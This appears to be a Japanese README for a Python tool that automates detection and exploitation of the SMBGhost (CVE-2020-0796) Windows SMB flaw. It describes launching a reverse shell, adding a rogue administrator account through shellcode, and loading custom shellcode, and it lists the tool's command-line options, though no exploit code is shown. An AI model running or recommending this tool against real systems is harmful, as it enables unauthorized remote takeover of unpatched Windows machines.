
SMBGhost (CVE-2020-0796) エクスプロイトと検出の自動化
このPythonプログラムは、RCE SMBGhost脆弱性のラッパーです。動作するエクスプロイトのクレジットはすべてchompie1337にあります。スキャナーのクレジットはioncodesにあります。
これらの機能を1つのプログラムに自動化しました。リバースシェルを作成する際には、Windowsターゲットのアーキテクチャを考慮する必要があります。
このエクスプロイトは安定していません。自己責任で使用してください。最初はうまくいかないことがあるため、2回目のリトライを追加しました。
独自のシェルコードを使用する場合、シェルコードの最大サイズは600バイトであることに注意してください。
エクスプロイトをテストするための脆弱なWindows ISO(x64):MEGA DOWNLOAD
1. msfvenomから作成されたステージレスリバースシェル(x64)

2. ターゲットにユーザー"di.security"を管理者として追加するカスタムシェルコードの試行。シェルコードのクレジットはrastatingにあります。

usage: Smb_Ghost.py [-h] -i IP [-p PORT] [--check] [-e] [--lhost LHOST]
[--lport LPORT] [--arch ARCH] [--silent] [--shellcode]
[--load-shellcode LOAD_SHELLCODE]
SMBGhost Detection and Exploitation
optional arguments:
-h, --help show this help message and exit
-i IP, --ip IP IP address
-p PORT, --port PORT SMB Port
--check Check SMBGhost Vulnerability
-e Directly exploit SMBGhost
--lhost LHOST Lhost for the reverse shell
--lport LPORT Lport for the reverse shell
--arch ARCH Architecture of the target Windows Machine
--silent Silent mode for the scanner
--shellcode Shellcode Menu to import your shell
--load-shellcode LOAD_SHELLCODE
Load shellcode directly from file
本ソフトウェアの誤用は、作成者の責任ではありません。自己のネットワーク、またはネットワーク所有者の許可を得て使用してください。